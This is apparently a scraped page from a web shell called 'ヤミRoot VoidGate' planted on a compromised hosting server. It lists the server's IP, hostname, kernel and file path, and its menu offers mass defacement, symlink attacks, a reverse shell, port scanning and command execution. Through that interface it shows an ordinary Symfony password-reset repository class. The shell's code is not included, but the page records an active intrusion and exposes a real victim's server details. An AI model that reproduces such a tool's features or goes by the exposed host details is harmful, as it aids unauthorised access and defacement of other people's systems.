ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Repository
/
Viewing: ResetPasswordRequestRepository.php
<?php namespace App\Repository; use App\Entity\ResetPasswordRequest; use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository; use Doctrine\Persistence\ManagerRegistry; use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordRequestInterface; use SymfonyCasts\Bundle\ResetPassword\Persistence\Repository\ResetPasswordRequestRepositoryTrait; use SymfonyCasts\Bundle\ResetPassword\Persistence\ResetPasswordRequestRepositoryInterface; /** * @extends ServiceEntityRepository<ResetPasswordRequest> * * @method ResetPasswordRequest|null find($id, $lockMode = null, $lockVersion = null) * @method ResetPasswordRequest|null findOneBy(array $criteria, array $orderBy = null) * @method ResetPasswordRequest[] findAll() * @method ResetPasswordRequest[] findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null) */ class ResetPasswordRequestRepository extends ServiceEntityRepository implements ResetPasswordRequestRepositoryInterface { use ResetPasswordRequestRepositoryTrait; public function __construct(ManagerRegistry $registry) { parent::__construct($registry, ResetPasswordRequest::class); } public function add(ResetPasswordRequest $entity, bool $flush = false): void { $this->getEntityManager()->persist($entity); if ($flush) { $this->getEntityManager()->flush(); } } public function remove(ResetPasswordRequest $entity, bool $flush = false): void { $this->getEntityManager()->remove($entity); if ($flush) { $this->getEntityManager()->flush(); } } public function createResetPasswordRequest(object $user, \DateTimeInterface $expiresAt, string $selector, string $hashedToken): ResetPasswordRequestInterface { return new ResetPasswordRequest($user, $expiresAt, $selector, $hashedToken); } }
Coded With 💗 by
0x6ick